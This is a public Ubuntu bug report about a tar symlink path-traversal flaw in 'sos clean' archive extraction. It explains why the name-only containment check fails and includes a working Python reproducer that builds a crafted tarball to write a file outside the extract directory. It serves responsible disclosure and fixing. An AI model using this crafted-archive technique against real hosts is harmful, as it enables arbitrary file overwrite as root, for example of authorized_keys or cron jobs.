Public bug reported:
Summary
sos clean extracts a caller-supplied tarball with tarfile.fully_trusted_filter.
A dest-containment check exists but only inspects member.name. It does not
inspect symlink or hardlink targets. extractall() can therefore write files
outside the extract directory as the process UID.
Fix proposed at #4461
Impact
sos clean is commonly run as root on a third-party sosreport (support /
customer archive). A crafted tarball can create or overwrite arbitrary files
writable by that UID (e.g. cron jobs, authorized_keys, service units).
Integrity, confidentiality (by overwrite/replacement), and availability are all
High. User interaction is required: the operator must pass the archive to sos
clean.
Technical details
extract_archive() sets:
archive.extraction_filter = getattr(tarfile, 'fully_trusted_filter',
(lambda member, path: member))
Then, for each member:
member_path = os.path.join(path, member.name)
abs_target = os.path.abspath(member_path)
if os.path.commonprefix([abs_directory, abs_target]) != abs_directory:
raise Exception(...)
fully_trusted_filter is PEP-706 legacy extract (follows links, no dest
restriction). The guard only concatenates dest + member.name.
For both of the following, abspath(dest + name) stays under dest, so the
guard allows them:
SYMTYPE member sosreport-host/var/log/link with linkname an absolute host path
REGTYPE member sosreport-host/var/log/link/<file>
extractall() creates the symlink, then writes <file> through it, outside dest.
This path was taken after #3330: data_filter raised false positives on
Python 3.10/3.11, so extraction was switched to fully_trusted.
Confirmed on Python 3.14.
Reproducer
import io, os, tarfile, tempfile
def vulnerable_extract_archive(archive_path, tmpdir):
"""Verbatim from sos/cleaner/archives/__init__.py (main branch)."""
with tarfile.open(archive_path) as archive:
path = os.path.join(tmpdir, 'cleaner')
archive.extraction_filter = getattr(
tarfile, 'fully_trusted_filter',
(lambda member, path: member))
members = archive.getmembers()
for member in members:
member_path = os.path.join(path, member.name)
abs_directory = os.path.abspath(path)
abs_target = os.path.abspath(member_path)
prefix = os.path.commonprefix([abs_directory, abs_target])
if prefix != abs_directory:
raise Exception("Attempted path traversal in tarfile")
archive.extractall(path, members=members)
victim_dir = tempfile.mkdtemp(prefix="sos-victim-")
victim_file = os.path.join(victim_dir, "pwned")
tar_path = tempfile.mktemp(suffix=".tar")
with tarfile.open(tar_path, "w") as tf:
sl = tarfile.TarInfo(name="sosreport-host/var/log/link")
sl.type = tarfile.SYMTYPE
sl.linkname = victim_dir
tf.addfile(sl)
payload = b"WRITTEN-OUTSIDE-DEST\n"
rf = tarfile.TarInfo(name="sosreport-host/var/log/link/pwned")
rf.size = len(payload)
tf.addfile(rf, io.BytesIO(payload))
dest = tempfile.mkdtemp(prefix="sos-extract-")
vulnerable_extract_archive(tar_path, dest)
if os.path.exists(victim_file):
print("VULNERABLE:", open(victim_file).read())
else:
print("NOT VULNERABLE")
os.remove(tar_path)
Expected: NOT VULNERABLE — the symlink member should be rejected.
Actual: VULNERABLE: WRITTEN-OUTSIDE-DEST — the file is created at the symlink
target.
AV:L local processing of the archive · AC:L no special conditions · PR:N
attacker needs no privileges on the cleaner host · UI:R operator runs
sos clean on the archive · S:U impact is on that host · C/I/A:H
arbitrary write as the cleaner UID (typically root).
** Affects: sosreport
Importance: Unknown
Status: Unknown
** Affects: sos (Ubuntu)
Importance: Undecided
Status: New
** Affects: sosreport (Ubuntu Bionic)
Importance: Undecided
Status: New
** Affects: sosreport (Ubuntu Focal)
Importance: Undecided
Status: New
** Affects: sosreport (Ubuntu Jammy)
Importance: Undecided
Status: New
** Affects: sosreport (Ubuntu Noble)
Importance: Undecided
Status: New
** Affects: sos (Ubuntu Resolute)
Importance: Undecided
Status: New
** Affects: sos (Ubuntu Stonking)
Importance: Undecided
Status: New
** Also affects: sos (Ubuntu Focal)
Importance: Undecided
Status: New
** Also affects: sos (Ubuntu Stonking)
Importance: Undecided
Status: New
** Also affects: sos (Ubuntu Bionic)
Importance: Undecided
Status: New
** Also affects: sos (Ubuntu Resolute)
Importance: Undecided
Status: New
** Also affects: sos (Ubuntu Noble)
Importance: Undecided
Status: New
** Also affects: sos (Ubuntu Jammy)
Importance: Undecided
Status: New
** Also affects: sosreport (Ubuntu)
Importance: Undecided
Status: New
** No longer affects: sos (Ubuntu Bionic)
** No longer affects: sos (Ubuntu Focal)
** No longer affects: sos (Ubuntu Jammy)
** No longer affects: sos (Ubuntu Noble)
** No longer affects: sosreport (Ubuntu Stonking)
** No longer affects: sosreport (Ubuntu Resolute)
** No longer affects: sosreport (Ubuntu)
** Bug watch added: github.com/sosreport/sos/issues #4460
https://github.com/sosreport/sos/issues/4460
** Also affects: sosreport via
https://github.com/sosreport/sos/issues/4460
Importance: Unknown
Status: Unknown
** CVE added: https://cve.org/CVERecord?id=CVE-2026-79655
--
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2168552
Title:
[cleaner] extract follows out-of-tree tar symlinks
To manage notifications about this bug go to:
https://bugs.launchpad.net/sosreport/+bug/2168552/+subscriptions
--
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs